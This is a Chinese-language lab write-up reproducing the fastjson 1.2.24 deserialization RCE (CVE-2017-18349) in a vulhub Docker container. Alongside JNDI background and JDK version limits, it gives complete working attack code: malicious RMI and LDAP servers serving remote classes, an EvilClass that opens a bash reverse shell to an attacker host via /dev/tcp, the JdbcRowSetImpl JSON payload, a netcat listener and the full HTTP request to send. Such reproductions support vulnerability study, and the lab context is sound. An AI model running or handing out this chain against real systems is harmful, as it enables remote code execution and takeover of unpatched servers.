fastjson1.2.24 CVE-2017-18349 漏洞復現
時間不等人啊/(ㄒoㄒ)/~~
0. 前置知識
建議直接看參考鏈接
JNDI:Java命名和目錄接口
RMI:遠程方法調用注冊表
LDAP:輕量級目錄訪問協議
CORBA:公共對象請求代理體系結構
1. jndi
JNDI InitialContext類
構造方法
InitialContext()
構建一個初始上下文。(獲取初始目錄環境)
InitialContext(boolean lazy)
構造一個初始上下文,并選擇不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的環境構建初始上下文。
常用方法
bind(Name name, Object obj)
將名稱綁定到對象。
list(String name)
枚舉在命名上下文中綁定的名稱以及綁定到它們的對象的類名。
lookup(String name)
檢索命名對象。
rebind(String name, Object obj)
將名稱綁定到對象,覆蓋任何現有綁定。
unbind(String name)
取消綁定命名對象。
示例
import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/work";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}
Reference類
構造方法
Reference(String className)
為類名為“className”的對象構造一個新的引用。
Reference(String className, RefAddr addr)
為類名為“className”的對象和地址構造一個新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
為類名為“className”的對象,對象工廠的類名和位置以及對象的地址構造一個新引用。
Reference(String className, String factory, String factoryLocation)
為類名為“className”的對象以及對象工廠的類名和位置構造一個新引用。
示例
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
參數1:className – 遠程加載時所使用的類名
參數2:Factory – 加載的class中需要實例化類的名稱
參數3:FactoryLocation – 提供classes數據的地址可以是*file/ftp/http***協議
常用方法
void add(int posn, RefAddr addr)
將地址添加到索引posn的地址列表中。
void add(RefAddr addr)
將地址添加到地址列表的末尾。
void clear()
從此引用中刪除所有地址。
RefAddr get(int posn)
檢索索引posn上的地址。
RefAddr get(String addrType)
檢索地址類型為“addrType”的第一個地址。
Enumeration<RefAddr> getAll()
檢索本參考文獻中地址的列舉。
String getClassName()
檢索引用引用的對象的類名。
String getFactoryClassLocation()
檢索此引用引用的對象的工廠位置。
String getFactoryClassName()
檢索此引用引用對象的工廠的類名。
Object remove(int posn)
從地址列表中刪除索引posn上的地址。
int size()
檢索此引用中的地址數。
String toString()
生成此引用的字符串表示形式。
2. jndi注入的利用條件
- 客戶端的lookup()方法的參數可控
- **服務端在使用Reference時,**Reference(String className, String factory, String factoryLocation)中,factoryLocation參數可控/可利用
滿足任一即可,jdk版本要求如下:
- JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121開始:java.rmi.server.useCodebaseOnly的默認值被設置為true。當該值為true時,將禁用自動加載遠程類文件,僅從CLASSPATH和當前JVM的java.rmi.server.codebase指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性
- JDK 6u141、7u131、8u121開始:增加了com.sun.jndi.rmi.object.trustURLCodebase選項,默認為false,禁止RMI和CORBA協議使用遠程codebase的選項,因此RMI和CORBA在以上的JDK版本上已經無法觸發該漏洞,但依然可以通過指定URI為LDAP協議來進行JNDI注入攻擊
- JDK 6u211、7u201、8u191開始:增加了com.sun.jndi.ldap.object.trustURLCodebase選項,默認為false,禁止LDAP協議使用遠程codebase的選項,把LDAP協議的攻擊途徑也給禁了
小迪安全里的表格
JDK6 | JDK7 | JDK8 | JDK11 | |
---|---|---|---|---|
RMI可用 | <6u132 | <7u122 | <8u113 | 無 |
LDAP可用 | <6u211 | <7u201 | <8u191 | <11.0.1 |
3. RMI+JNDI方式
RMI+JNDI注入就是將惡意的Reference類綁定在RMI注冊表中,其中惡意引用指向遠程惡意的class文件,當用戶在JNDI客戶端的lookup()函數參數外部可控或Reference類構造方法的classFactoryLocation參數外部可控時,會使用戶的JNDI客戶端訪問RMI注冊表中綁定的惡意Reference類,從而加載遠程服務器上的惡意class文件在客戶端本地執行,最終實現JNDI注入攻擊導致遠程代碼執行
因為Reference沒有實現Remote接口也沒有繼承UnicastRemoteObject類,故不能作為遠程對象bind到注冊中心,所以需要使用ReferenceWrapper對Reference的實例進行一個封裝。
服務器端
//server.java
package JNDI;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://127.0.0.1:8081/";//惡意代碼test.class在http://127.0.0.1:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("test", "test", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}
test.java
//test.java
//不要包名
public class test {public test() throws Exception{Runtime.getRuntime().exec("calc");}
}
編譯:javac test.java
部署在web服務上:python3 -m http.server 8081 #端口根據前面服務端url的端口
當客戶端通過InitialContext().lookup(“rmi://127.0.0.1:8081/obj”)獲取遠程對象時,會執行我們的惡意代碼
//client.java
package JNDI;import javax.naming.InitialContext;
import javax.naming.NamingException;public class client {public static void main(String[] args) throws NamingException {String url = "rmi://localhost:1099/obj";InitialContext initialContext = new InitialContext();initialContext.lookup(url);}
}
4. LDAP+JNDI方式
JDK<8u191
服務端maven需要添加如下依賴:
java
<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.0</version>
</dependency>
服務端ldap_server.java
package JNDI;import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class ldap_sever {private static final String LDAP_BASE = "dc=example,dc=com";public static void main ( String[] tmp_args ) {String[] args=new String[]{"http://127.0.0.1:8081/#test"};int port = 7777;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));//設置監聽地址為 0.0.0.0:7777,并綁定默認的 ServerSocketFactory 和 SocketFactory。config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));//添加一個自定義的 OperationInterceptor,用于攔截客戶端的查詢請求并返回惡意響應。InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();//啟動 LDAP 服務器}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {//構造一個惡意的 LDAP 響應String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();//遠程urlint refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ //設置為遠程 URL 的 ref 部分e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);//發送惡意響應result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}
客戶端ldap_client.java
package JNDI;import javax.naming.InitialContext;public class ldap_client {public static void main(String[] args) throws Exception{Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/calc");}
}
JDK >= 8u191
關于JDK >= 8u191的利用目前公開有兩種繞過的方法,
兩種繞過?法如下: 1、找到?個受害者本地 CLASSPATH 中的類作為惡意的 Reference Factory 工廠類, 并利用這個本地的 Factory 類執行命令. 2、利? LDAP 直接返回?個惡意的序列化對象, JNDI 注?依然會對該對象進?反序列化操作, 利用反序列化 Gadget(已有代碼片段) 完成命令執行.
這兩種?式都依賴受害者本地 CLASSPATH 中環境, 需要利?受害者本地的 Gadget 進行攻擊
詳見參考文章
1. 環境搭建
windows環境
自行下載docker desktop
下載netcat,并添加環境變量
https://eternallybored.org/misc/netcat/
下載git
https://git-scm.com/downloads/win
下載vulhub
git clone https://github.com/vulhub/vulhub.git
啟動docker容器
C:\Users\21609\vulhub\fastjson\1.2.24-rce>docker-compose up -d
在docker desktop進容器里執行命令
su
find / -name "*.jar"
#或者cmd終端里sudo docker exec -it 5ddafb45c605 /bin/bash
java -version
#可知容器jdk版本openjdk version "1.8.0_102"
將文件拷貝到本地
docker cp 5ddafb45c605:/usr/src/fastjsondemo.jar fastjsondemo.jar
改后綴為zip
后解壓,用idea
打開
idea的project structure
里設置jdk為jdk1.8.0_65
2. 分析
該代碼是一個Spring MVC控制器,主要處理JSON數據的序列化與反序列化
-
使用
@Controller
注解聲明控制器類,并通過@ResponseBody
實現響應體自動序列化為JSON?1 -
雙
@RequestMapping
通過method參數區分GET/POST請求,符合RESTful設計規范 -
@RequestBody
接收的User對象若包含未校驗字段,可能存在反序列化攻擊風險
我們的payload(JdbcRowSetImpl利用鏈)格式如下:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}
idea裏面Navigate->Search Everywhere
查找JdbcRowSetImpl
,找到C:\Program Files\Java\jdk1.8.0_65\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl.class
conn為null,"autoCommit":true
時,會調用this.conn=this.connect()
當dataSourceName
不為null時,會調用lookup
函數,并且獲取到getDataSourceName的值
3. 采用JNDI+RMI注入
我們采用JNDI+RMI注入(利用惡意序列化對象執行任意代碼)的思路
惡意類
// EvilClass.java
import java.lang.Runtime;//記得導入庫
import java.lang.Process;
public class EvilClass {static {try {// 反彈shellProcess pc=Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.75.180/8088 0>&1"});System.out.println("惡意代碼已執行!");pc.waitFor();} catch (Exception e) {e.printStackTrace();}}
}
jdk1.8.0_65
將這個類編譯成 .class
文件,輸出到code目錄下
javac C:\Users\21609\IdeaProjects\maven1\src\main\java\com\jk\web\EvilClass.java -d C:\Users\21609\Desktop\code
在code目錄下開cmd,啟動http服務
#python3
python -m http.server 8081
#python2
#python -m SimpleHTTPServer 8081
服務器端,在idea里運行
package com.jk.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class server {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {String url = "http://192.168.75.180/";//惡意代碼EvilClass.class在http://192.168.75.180:8081/Registry registry = LocateRegistry.createRegistry(1099);Reference reference = new Reference("EvilClass", "EvilClass", url);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("obj",referenceWrapper);System.out.println("running");}
}
開個cmd,使用netcat監聽8088端口
nc -lvvp 8088
burpsuite抓包,send to repeater
POST / HTTP/1.1
Host: 127.0.0.1:8090
Cache-Control: max-age=0
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="98"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 131{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.75.180:1099/obj","autoCommit":true}
}
參考
javasec(八)jndi注入 海嶼-uf9n1x
Java反序列化之FastJson1.2.24 IDEA動態調試解析 不用再等